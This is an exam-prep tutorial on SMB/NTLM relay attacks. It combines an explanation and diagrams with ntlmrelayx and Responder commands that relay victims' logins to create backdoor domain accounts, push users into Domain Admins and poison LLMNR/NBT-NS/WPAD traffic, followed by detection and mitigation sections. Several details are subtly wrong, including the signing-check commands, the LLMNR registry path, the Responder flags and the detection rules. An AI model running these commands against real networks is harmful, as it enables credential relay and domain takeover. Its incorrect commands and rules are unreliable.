SMB Relay Lateral Movement
Table of Contents
- Concept Overview
- Technical Deep-Dive: NTLM Relay
- Attack Flow Diagram
- Prerequisites
- Identifying Targets Without SMB Signing
- ntlmrelayx.py — Full Relay Framework
- Relaying to Different Targets
- LDAP Relay for Privilege Escalation
- Responder for LLMNR/NBT-NS Poisoning
- Tools Comparison
- Detection Indicators
- Mitigation Strategies
- Common Pitfalls and Troubleshooting
- OSCP Exam Tips
Concept Overview
SMB Relay is a man-in-the-middle (MITM) attack that captures a victim’s NTLM authentication attempt and relays (replays) it to a target system — without ever knowing the victim’s password.
The Core Idea
Normal Authentication:
Victim ──[NTLM Auth]──→ Target
SMB Relay Attack:
Victim ──[NTLM Auth]──→ Attacker ──[NTLM Auth]──→ Target
(MITM Relay)
Why It Works
NTLM authentication is a challenge-response protocol. The attacker doesn’t need to crack the hash — they simply:
- Trick the victim into authenticating to the attacker
- Capture the NTLM challenge-response
- Forward (relay) that exact response to the target
- The target validates the response as if the victim authenticated directly
Key Insight
The attacker never sees the password. The entire NTLM authentication exchange is captured and forwarded in real-time. This is fundamentally different from Pass-the-Hash because:
- PtH requires extracting the hash first
- SMB Relay works in real-time during authentication
- SMB Relay works even if the hash cannot be extracted
Technical Deep-Dive: NTLM Relay
NTLM Authentication Protocol
NTLM authentication uses a three-message challenge-response exchange:
┌──────────┐ ┌──────────┐
│ Client │ │ Server │
│ (Victim) │ │ (Target) │
└────┬─────┘ └────┬─────┘
│ │
│ [1] NTLM Negotiate │
│ (Client sends capabilities │
│ and hostname) │
│──────────────────────────────>│
│ │
│ │ Generate random
│ │ challenge (8 bytes)
│ │
│ [2] NTLM Challenge │
│ (Server sends 8-byte │
│ random challenge) │
│<──────────────────────────────│
│ │
│ Hash challenge with │
│ NT hash of password │
│ │
│ [3] NTLM Authenticate │
│ (Client sends response │
│ = f(challenge, NT hash)) │
│──────────────────────────────>│
│ │
│ │ Verify response
│ │ using stored NT hash
│ │
How the Relay Intercepts
┌──────────┐ ┌──────────┐ ┌──────────┐
│ Victim │ │ Attacker │ │ Target │
│ │ │ (MITM) │ │ │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ [1] NTLM Negotiate │ │
│──────────────────────────────>│ │
│ │ │
│ │ Forward Negotiate to Target │
│ │──────────────────────────────>│
│ │ │
│ [2] NTLM Challenge (from │ [2] NTLM Challenge (from │
│ Attacker, relayed │ Target) │
│ from Target) │ │
│<─────────────────────────────│<──────────────────────────────│
│ │ │
│ Hash challenge with │ │
│ NT hash of password │ │
│ │ │
│ [3] NTLM Authenticate │ │
│──────────────────────────────>│ │
│ │ │
│ │ Forward Authenticate to │
│ │ Target │
│ │──────────────────────────────>│
│ │ │
│ │ [3] NTLM Authenticate │
│ │ (relayed from Victim) │
│ │──────────────────────────────>│
│ │ │
│ │ Target validates │
│ │ → Authentication OK │
│ │ │
Why SMB Signing Matters
SMB signing adds a cryptographic signature to each SMB packet, preventing relay attacks:
| SMB Signing Status | Relay Possible? | Why |
|---|---|---|
| Disabled | YES | Attacker can forward unmodified NTLM exchange |
| Enabled | NO | Each packet is signed; relayed packets fail signature verification |
| Negotiated | MAYBE | Depends on client/server negotiation; may fall back to unsigned |
The Relay Constraint
For SMB Relay to work:
- The target must have SMB signing disabled (or negotiated off)
- The victim must be willing to authenticate to the attacker
- The attacker must be in a network position to intercept/redirect the authentication
Attack Flow Diagram
Complete Attack Flow
┌─────────────────────────────────────────────────────────────────────────┐
│ SMB RELAY ATTACK FLOW │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ PHASE 1: RECONNAISSANCE │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ • Identify targets without SMB signing │ │
│ │ crackmapexec smb TARGETS -u user -p pass --signing │ │
│ │ │ │
│ │ • Identify potential victims (users with sessions) │ │
│ │ crackmapexec smb TARGETS -u user -p pass --sessions │ │
│ │ │ │
│ │ • Identify network position (can you MITM?) │ │
│ │ ARP spoofing, LLMNR/NBT-NS poisoning, etc. │ │
│ └─────────────────────────────────────────────────────────┘ │
│ │
│ PHASE 2: LURE THE VICTIM │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ • Method 1: LLMNR/NBT-NS poisoning (Responder) │ │
│ │ → Victim queries non-existent hostname │ │
│ │ → Attacker responds, victim connects to attacker │ │
│ │ │ │
│ │ • Method 2: Evil share/website │ │
│ │ → Victim accesses \\attacker\share │ │
│ │ → Victim authenticates via NTLM │ │
│ │ │ │
│ │ • Method 3: HTTP 401 redirect │ │
│ │ → Victim visits HTTP site │ │
│ │ → Site returns 401, browser sends NTLM auth │ │
│ └─────────────────────────────────────────────────────────┘ │
│ │
│ PHASE 3: RELAY AUTHENTICATION │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ • ntlmrelayx.py listens for incoming NTLM auth │ │
│ │ • Captures the NTLM challenge-response │ │
│ │ • Forwards it to the target (SMB/HTTPS/LDAP) │ │
│ │ • Target validates → authentication succeeds │ │
│ └─────────────────────────────────────────────────────────┘ │
│ │
│ PHASE 4: POST-EXPLOITATION │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ • SMB relay: Shell on target via SMB │ │
│ │ • LDAP relay: Add user to Domain Admins │ │
│ │ • HTTPS relay: Access web application as victim │ │
│ └─────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
Prerequisites
Three Requirements
| Requirement | Description | How to Verify |
|---|---|---|
| 1. SMB Signing Disabled on Target | Target must accept unsigned SMB sessions | crackmapexec --signing |
| 2. Victim Will Authenticate | Victim must be tricked into authenticating to attacker | Responder, evil shares, HTTP 401 |
| 3. Network Position | Attacker must be able to intercept/redirect traffic | Same subnet, ARP spoofing, poisoning |
Detailed Prerequisites
1. SMB Signing Disabled
# Check SMB signing status across the network
crackmapexec smb 10.0.0.0/24 -u admin -p 'P@ssw0rd!' --signing
# Output:
# SMB 10.0.0.10 FILESERVER Signing: Disabled ✖
# SMB 10.0.0.20 WEBSERVER Signing: Enabled ✔
# SMB 10.0.0.30 DC01 Signing: Enabled ✔
# SMB 10.0.0.40 WORKSTATION Signing: Disabled ✖
# Only targets with "Signing: Disabled" are relay targets
2. Victim Will Authenticate
The victim must initiate an NTLM authentication to the attacker’s machine. Common triggers:
- Accessing a non-existent network share
- LLMNR/NBT-NS query resolution
- HTTP 401 Unauthorized response
- iSCSI target discovery
- RDG (Remote Desktop Gateway) redirect
3. Network Position
The attacker must be able to:
- Receive the victim’s authentication attempt
- Forward it to the target
- Receive the target’s response back
This typically means:
- Same subnet as both victim and target
- Ability to perform ARP spoofing
- Or the victim is tricked into connecting directly to the attacker
Identifying Targets Without SMB Signing
Method 1: CrackMapExec
# Check SMB signing status
crackmapexec smb 10.0.0.0/24 -u admin -p 'P@ssw0rd!' --signing
# Output format:
# Host User Password Signing
# ---- ---- -------- -------
# 10.0.0.10 admin P@ssw0rd! Disabled ← RELAY TARGET
# 10.0.0.20 admin P@ssw0rd! Enabled ← NOT a relay target
Method 2: RustScan + CrackMapExec
# First scan for SMB hosts
rustscan -a 10.0.0.0/24 --ulimit 5000 -p 445
# Then check signing
crackmapexec smb <SMB_HOSTS> -u admin -p 'P@ssw0rd!' --signing
Method 3: nmap
# Check SMB signing with nmap script
nmap -p 445 --script smb2-security-mode 10.0.0.0/24
# Output:
# PORT STATE SERVICE
# 445/tcp open microsoft-ds
# | smb2-security-mode:
# | 3.1.1:
# | Account requirements:
# | No requirements
# |_ Message signing enabled but not required ← CAN RELAY
Method 4: PowerShell (from Windows)
# Check SMB signing on a target
Test-NetConnection -ComputerName TARGET -Port 445
# Or use Get-SmbConnection
Get-SmbConnection | Select-Object RemoteComputerName, CredentialType, Dialect
Method 5: Metasploit
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.0.0.0/24
run
ntlmrelayx.py — Full Relay Framework
Overview
ntlmrelayx.py is the primary tool for SMB Relay attacks. It’s part of the Impacket suite and provides a complete relay framework.
Basic SMB Relay
# Relay incoming NTLM auth to a target via SMB
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support
# Output:
# Impacket v0.12.0
# [*] Protocol client registered: LDAP
# [*] Protocol client registered: SMB
# [*] Protocol client registered: HTTP
# [*] SMB Server started on port 445
# [*] Waiting for connections...
Full Parameter Reference
| Parameter | Description | Example |
|---|---|---|
-t |
Target host (IP or FQDN) | -t 10.0.0.10 |
-s |
Target port | -s 445 |
--no-http-server |
Don’t start HTTP server | --no-http-server |
--no-ldap-server |
Don’t start LDAP server | --no-ldap-server |
--no-smb-server |
Don’t start SMB server | --no-smb-server |
-smb2support |
Enable SMB2/SMB3 support | -smb2support |
-c |
Command to execute on target | -c "whoami" |
-cf |
Command file to execute | -cf commands.txt |
-socks |
Start SOCKS proxy on relay | -socks |
-l |
Output directory for loots | -l /tmp/loot |
-wh |
Whitespace hostname (for browser) | -wh evil.corp.local |
-ea |
Execute assembly on target | -ea payload.dll |
-escalate-user |
Escalate user via LDAP | -escalate-user username |
-protocol |
Target protocol | -protocol ldap |
-debug |
Debug output | -debug |
Relay with Command Execution
# Relay and execute a command on the target
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -c "whoami"
# Relay and execute multiple commands
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -c "net user attacker P@ssw0rd! /add /domain"
# Relay and execute from file
echo "net user attacker P@ssw0rd! /add /domain" > commands.txt
echo "net group \"Domain Admins\" attacker /add /domain" >> commands.txt
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -cf commands.txt
Relay with SOCKS Proxy
# Relay and start SOCKS proxy for interactive access
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -socks
# Configure proxychains
# /etc/proxychains4.conf:
# socks5 127.0.0.1 1080
# Use proxychains for interactive access
proxychains4 smbclient //10.0.0.10/C$
proxychains4 wmiexec.py corp.local/victim@10.0.0.10
Relay to Multiple Targets
# Relay to multiple targets (file with target IPs)
echo "10.0.0.10" > targets.txt
echo "10.0.0.40" >> targets.txt
ntlmrelayx.py -t targets.txt --no-http-server -smb2support
Full Attack Example
# Step 1: Start relay server
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -c "net user backdoor S3cur3P@ss! /add /domain" &
# Step 2: Lure victim (using Responder or other method)
# Victim authenticates to attacker
# Step 3: Relay server captures and forwards auth
# Output:
# [*] SMBD: Received connection from 10.0.0.50, attacking target 10.0.0.10
# [*] SMBD: 10.0.0.50 \ CORP\jsmith
# [*] SMBD: Relaying to 10.0.0.10
# [*] SMBD: Executing command on 10.0.0.10
# [*] SMBD: Command output:
# [*] SMBD: The command completed successfully.
# Step 4: Use backdoor account
crackmapexec smb 10.0.0.10 -u backdoor -p S3cur3P@ss!
Relaying to Different Targets
Relay to SMB (Default)
# Relay to SMB share
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support
# With command execution
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -c "net user backdoor Pass123! /add /domain"
Relay to HTTPS
# Relay to HTTPS endpoint (e.g., Exchange, SharePoint)
ntlmrelayx.py -t https://10.0.0.20 --no-raw-mode
# The attacker's HTTP server will capture browser NTLM auth
# and relay it to the HTTPS target
Relay to LDAP
# Relay to LDAP (port 389)
ntlmrelayx.py -t ldap://10.0.0.1 --no-http-server -smb2support
# LDAP relay is powerful for privilege escalation (see below)
Relay to Multiple Protocols
# Start all servers (SMB, HTTP, LDAP) to relay to any protocol
ntlmrelayx.py -t 10.0.0.10 -smb2support
# This starts:
# - SMB server on port 445
# - HTTP server on port 80
# - HTTPS server on port 443
# - LDAP server on port 389
Protocol-Specific Options
| Protocol | Port | ntlmrelayx Flag | Notes |
|---|---|---|---|
| SMB | 445 | -t 10.0.0.10 (default) |
Most common target |
| HTTPS | 443 | -t https://10.0.0.20 |
Web apps, Exchange |
| LDAP | 389 | -t ldap://10.0.0.1 |
Privilege escalation |
| HTTP | 80 | -t http://10.0.0.20 |
Unencrypted web apps |
| WCF | Various | -t wcf://10.0.0.20 |
.NET services |
LDAP Relay for Privilege Escalation
Why LDAP Relay Is Powerful
LDAP relay allows the attacker to modify Active Directory objects using the victim’s credentials — without knowing the password.
Common LDAP Relay Attacks
1. Add User to Domain Admins
# Relay to LDAP and escalate a specific user
ntlmrelayx.py -t ldap://10.0.0.1 --no-http-server -escalate-user jsmith
# This:
# 1. Relays victim's auth to LDAP
# 2. Adds jsmith to the 'Domain Admins' group
# 3. jsmith now has Domain Admin privileges
2. Add GenericWrite DACL
# Relay to LDAP and add GenericWrite DACL to a target
ntlmrelayx.py -t ldap://10.0.0.1 --no-http-server -add-dacl -target-user dc01$
# This gives the attacker GenericWrite on the DC's computer account
# Enabling ACL-based attacks (e.g., SPN manipulation)
3. Modify User Attributes
# Relay to LDAP and execute LDAP modifications
ntlmrelayx.py -t ldap://10.0.0.1 --no-http-server -c "ldap_modifications.ldif"
4. DCSync via LDAP Relay
# If the victim has DCSync rights, relay to LDAP and perform DCSync
ntlmrelayx.py -t ldap://10.0.0.1 --no-http-server -mode server
# Then use the relayed session for DCSync operations
LDAP Relay Prerequisites
| Requirement | Description |
|---|---|
| LDAP signing disabled | Target DC must not require LDAP signing |
| Victim with write rights | Victim needs write access to target AD object |
| Network access to LDAP | Port 389 must be reachable |
Checking LDAP Signing
# Check if LDAP signing is required
crackmapexec ldap 10.0.0.1 -u admin -p 'P@ssw0rd!' --kdcHost 10.0.0.1
# Or via PowerShell
Get-ADDefaultDomainPasswordPolicy
(Get-ADDomain).LDAPSigningRequirements
Responder for LLMNR/NBT-NS Poisoning
What Is Responder?
Responder is a LLMNR/NBT-NS/mDNS poisoner that captures NTLM hashes by responding to network broadcast queries with the attacker’s machine.
How It Works
┌──────────┐ ┌──────────┐
│ Victim │ │ Attacker │
│ │ │(Responder)│
└────┬─────┘ └────┬─────┘
│ │
│ [1] LLMNR Query: │
│ "Who is FILESERVER?" │
│ (broadcast) │
│──────────────────────────────>│
│ │
│ │ I am FILESERVER!
│ [2] LLMNR Response: │
│ "I'm at 10.0.0.ATTACKER" │
│<─────────────────────────────│
│ │
│ [3] SMB Connection: │
│ Victim connects to │
│ \\FILESERVER\share │
│ (actually Attacker) │
│──────────────────────────────>│
│ │
│ [4] NTLM Authentication: │
│ Victim sends NTLM auth │
│ to Attacker │
│──────────────────────────────>│
│ │
│ │ Capture hash OR
│ │ Relay to target
│ │
Basic Responder Usage
# Start Responder on interface
Responder -I eth0 -wrf
# Flags:
# -I eth0 → Interface to listen on
# -w → Enable WPAD poisoning
# -r → Enable NBT-NS poisoning
# -f → Enable LLMNR poisoning
Responder with ntlmrelayx
# Step 1: Start ntlmrelayx in the background
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -c "net user backdoor Pass123! /add /domain" &
# Step 2: Start Responder to lure victims
Responder -I eth0 -wrf -v
# Step 3: Wait for victim to query non-existent hostname
# Responder responds → Victim connects → ntlmrelayx relays to target
Responder Configuration
Edit /usr/share/Responder/Responder.conf:
[Responder Core]
Challenge set = 1122334455667788
LLMNR = On
NBTNS = On
MDNS = On
[Poisoners]
WPAD = On
Luring Victims
Method 1: Natural LLMNR/NBT-NS Queries
Victims naturally query for non-existent hosts:
\\nonexistent-share\file.docxping nonexistent-host- Browser accessing
http://intranet/
Method 2: Evil WPAD
# Responder's WPAD poisoning
# When -w flag is used, Responder serves a WPAD.dat file
# that forces browser NTLM authentication
Method 3: iSCSI Target
# Some systems query for iSCSI targets
# Responder can respond to these queries too
Responder Output
[*] Listening on 10.0.0.ATTACKER
[*] LLMNR: Received request for 'FILESERVER'
[*] LLMNR: Sending reply to 10.0.0.50
[*] SMBD: Received SMB authentication from 10.0.0.50
[*] SMBD: User: jsmith
[*] SMBD: Domain: CORP
[*] SMBD: NTLMv2 Hash: jsmith::CORP:10.0.0.ATTACKER:...
[*] SMBD: Relaying to 10.0.0.10
Tools Comparison
| Feature | ntlmrelayx.py | Responder | MultiRelay |
|---|---|---|---|
| Primary Function | NTLM relay framework | LLMNR/NBT-NS poisoning | Multi-target relay |
| Relay Protocols | SMB, HTTPS, LDAP, WCF | SMB only | SMB |
| Poisoning | No (needs Responder) | Yes (LLMNR/NBT-NS/mDNS) | No |
| Command Execution | Yes (-c flag) |
No | Yes |
| SOCKS Proxy | Yes (-socks) |
No | No |
| LDAP Escalation | Yes (-escalate-user) |
No | No |
| Multi-Target | Yes (file input) | N/A | Yes (built-in) |
| Hash Capture | No (relays only) | Yes (saves to database) | No |
| Best For | Relay attacks | Luring victims | Bulk relay testing |
Recommended Tool Chain
┌─────────────────────────────────────────────────────┐
│ SMB RELAY TOOL CHAIN │
├─────────────────────────────────────────────────────┤
│ │
│ 1. Recon: crackmapexec --signing │
│ → Find targets without SMB signing │
│ │
│ 2. Lure: Responder -I eth0 -wrf │
│ → Poison LLMNR/NBT-NS to attract victims │
│ │
│ 3. Relay: ntlmrelayx.py -t TARGET --no-http- │
│ server -smb2support -c "COMMAND" │
│ → Capture and relay NTLM auth │
│ │
│ 4. Access: Use relayed session or backdoor │
│ → Execute commands, add users, escalate │
│ │
└─────────────────────────────────────────────────────┘
Detection Indicators
Event ID 4624 — Logon Success (Anomalous Source)
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Event ID: 4624
Logon Type: 3 (Network)
Indicators:
| Field | SMB Relay Indicator | Why |
|---|---|---|
IpAddress |
Non-standard source IP | Auth came from attacker, not victim |
IpPort |
Ephemeral port from attacker | Attacker’s relay port |
LogonGuid |
Correlate with attacker’s session | Match to relay activity |
Event ID 4625 — Logon Failure
Failed relay attempts generate logon failures:
Event ID: 4625
Status: 0xC0000072 (user account restriction)
0x18 (account disabled)
0x5 (access denied)
Event ID 5140/5145 — Share Access
Event ID: 5140 (Share accessed)
Event ID: 5145 (File share access)
Source IP: Attacker's IP (not victim's)
Event ID 4768/4769 — Kerberos Events
If the relayed session requests Kerberos tickets:
Event ID: 4768 (TGT request from attacker's IP)
Event ID: 4769 (TGS request from attacker's IP)
Network-Level Indicators
| Indicator | Description |
|---|---|
| LLMNR/NBT-NS responses from non-authoritative source | Responder poisoning |
| SMB connections to attacker’s IP | Victim connecting to attacker |
| NTLM auth to non-standard host | Authentication to attacker |
| SMB session from attacker to target | Relay in progress |
| WPAD.dat requests | Responder WPAD poisoning |
Detection Rules
Splunk / SIEM Query
index=windows EventCode=4624 Logon_Type=3
| search IpAddress!="10.0.0.0/24" // Non-standard subnet
| stats count by SubjectUserName, IpAddress, TargetUserName
| where count > 3
Sigma Rule
title: SMB Relay Attack Detected
id: c3d4e5f6-a7b8-9012-cdef-345678901234
status: experimental
level: high
logsource:
category: authentication
product: windows
detection:
selection:
EventID: 4624
LogonType: 3
selection_ip:
IpAddress|startswith:
- '10.0.0.'
condition: selection and selection_ip
falsepositives:
- Legitimate network authentication from different subnets
Mitigation Strategies
1. Enable SMB Signing (CRITICAL)
# Method 1: Group Policy
# Computer Configuration → Policies → Windows Settings →
# Security Settings → Local Policies → Security Options
# Microsoft network server: Digitally sign communications (always)
# Set to: Enabled
# Method 2: Registry
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1
# Method 3: netsh (client)
netsh lan set int interface="Ethernet" require-signing=yes
# Verify
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature"
2. Disable LLMNR
# Disable LLMNR on all workstations and servers
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\llmnr\-Parameters" -Name "EnableLLMNR" -Value 0
# Or via Group Policy
# Computer Configuration → Policies → Windows Settings →
# Security Settings → System Services →
# Function Discovery Provider Host → Disabled
3. Disable NBT-NS
# Disable NetBIOS over TCP/IP
# Network Adapter → IPv4 Properties → Advanced → WINS tab
# Select: Disable NetBIOS over TCP/IP
# Or via PowerShell
Get-NetAdapter | Set-NetAdapterAdvancedProperty -DisplayNamePrefix "NetBIOS over TCP/IP" -DisplayValue "Disable NetBIOS over TCP/IP"
4. Network Segmentation
- Isolate critical systems (DCs, file servers) from general user subnets
- Use VLANs to limit broadcast domain
- Implement micro-segmentation where possible
5. LDAP Signing and Channel Binding
# Enable LDAP signing
# Group Policy: Computer Configuration → Policies → Windows Settings →
# Security Settings → Local Policies → Security Options
# Domain Controller: Limit account management rights → Enable LDAP signing
# Enable LDAP Channel Binding
# Requires Windows Server 2012 R2+ and Windows 10+
6. Monitor for Anomalous Authentication
- Alert on NTLM auth from unexpected sources
- Monitor LLMNR/NBT-NS traffic
- Correlate authentication events with network flow data
7. 802.1X Network Authentication
Implement port-based network authentication to prevent unauthorized devices from joining the network.
Common Pitfalls and Troubleshooting
Pitfall 1: SMB Signing Enabled
# Error: Relay fails silently or with authentication error
# Fix: Verify target has SMB signing disabled
crackmapexec smb 10.0.0.10 -u admin -p 'P@ssw0rd!' --signing
# If enabled, SMB relay won't work
# Try LDAP relay instead (if LDAP signing is also disabled)
Pitfall 2: No Victim Authentication
# ntlmrelayx is running but no connections received
# Fix: Ensure victims are being lured
# 1. Check Responder is running
# 2. Verify network connectivity
# 3. Check firewall rules
# 4. Try manual lure: \\attacker_ip\share
Pitfall 3: Wrong Interface
# Responder listening on wrong interface
Responder -I eth0 -wrf
# Check interfaces
ip a
# Make sure eth0 is the correct interface facing the victims
Pitfall 4: Firewall Blocking
# Check if ports are open
nmap -p 445,137,138,139,80,443 TARGET_IP
# If blocked, try:
# - Different protocol (LDAP instead of SMB)
# - Pivot to a machine in the target's subnet
Pitfall 5: Victim Already Authenticated
# If victim has existing SMB session to target,
# the relay may conflict
# Fix: Wait for session to expire or use a different victim
Pitfall 6: Domain Computer Account
# Relaying a computer account ($ account) may have limitations
# Computer accounts may not have write access to AD objects
# Fix: Target user accounts, not computer accounts
Pitfall 7: LDAP Signing Enabled
# LDAP relay fails if LDAP signing is required
# Check:
crackmapexec ldap DC_IP -u admin -p 'P@ssw0rd!'
# If LDAP signing is required, LDAP relay won't work
# Fall back to SMB relay
OSCP Exam Tips
1. SMB Relay Checklist
┌──────────────────────────────────────────────────────────┐
│ SMB RELAY QUICK CHECKLIST │
├──────────────────────────────────────────────────────────┤
│ │
│ [ ] Identify targets without SMB signing │
│ crackmapexec smb TARGETS -u user -p pass --signing │
│ │
│ [ ] Start ntlmrelayx with target │
│ ntlmrelayx.py -t TARGET_IP --no-http-server │
│ -smb2support -c "COMMAND" │
│ │
│ [ ] Lure victim │
│ Responder -I eth0 -wrf │
│ OR manually: \\ATTACKER_IP\share │
│ │
│ [ ] Verify relay succeeded │
│ Check ntlmrelayx output for success message │
│ │
│ [ ] Use relayed access │
│ crackmapexec smb TARGET_IP -u backdoor -p PASS │
│ │
└──────────────────────────────────────────────────────────┘
2. Common OSCP SMB Relay Scenarios
| Scenario | Approach |
|---|---|
| User has session on target without signing | Relay user’s auth to add backdoor |
| LDAP signing disabled on DC | Relay to LDAP, escalate user to DA |
| Multiple targets without signing | Relay to highest-value target |
| Victim is Domain Admin | Relay DA’s auth for full compromise |
3. Quick Command Reference
# Find relay targets
crackmapexec smb 10.0.0.0/24 -u admin -p PASS --signing
# Start relay (SMB)
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -c "net user backdoor PASS /add /domain"
# Start relay (LDAP escalation)
ntlmrelayx.py -t ldap://10.0.0.1 --no-http-server -escalate-user victim
# Lure victims
Responder -I eth0 -wrf
# SOCKS proxy for interactive access
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -socks
4. When SMB Relay Fails
SMB Relay Failed? Try:
├── Check SMB signing status (maybe it's enabled)
├── Try LDAP relay instead (ntlmrelayx.py -t ldap://DC)
├── Try HTTPS relay (ntlmrelayx.py -t https://TARGET)
├── Use Responder to capture hash, then crack it
└── Pivot to a machine in the target's subnet
5. Detection Awareness
In the OSCP lab:
- Event ID 4624 will show authentication from attacker’s IP
- This is normal and expected
- Document in your report with mitigation recommendations
Summary
SMB Relay is a powerful lateral movement technique that exploits the NTLM authentication protocol’s lack of mutual authentication:
Key Concepts
- Man-in-the-middle: Captures and forwards NTLM auth without knowing the password
- SMB signing is the gatekeeper: Relay only works when signing is disabled
- Three prerequisites: No SMB signing, willing victim, network position
- ntlmrelayx.py: The primary relay tool with support for SMB, HTTPS, LDAP
- Responder: Lures victims via LLMNR/NBT-NS poisoning
Attack Chain
- Recon: Find targets without SMB signing (
crackmapexec --signing) - Lure: Trick victim into authenticating (Responder, evil shares)
- Relay: Forward auth to target (
ntlmrelayx.py) - Exploit: Execute commands, add users, escalate privileges
Mitigation
- Enable SMB signing (most critical)
- Disable LLMNR and NBT-NS
- Enable LDAP signing and channel binding
- Network segmentation to limit relay opportunities
- Monitor for anomalous NTLM authentication sources
Key takeaways:
- SMB Relay works without knowing the victim’s password
- Target must have SMB signing disabled
ntlmrelayx.pyis the primary tool;Responderlures victims- LDAP relay can escalate users to Domain Admins
- Enable SMB signing to completely prevent this attack
- Always check
--signingstatus before attempting relay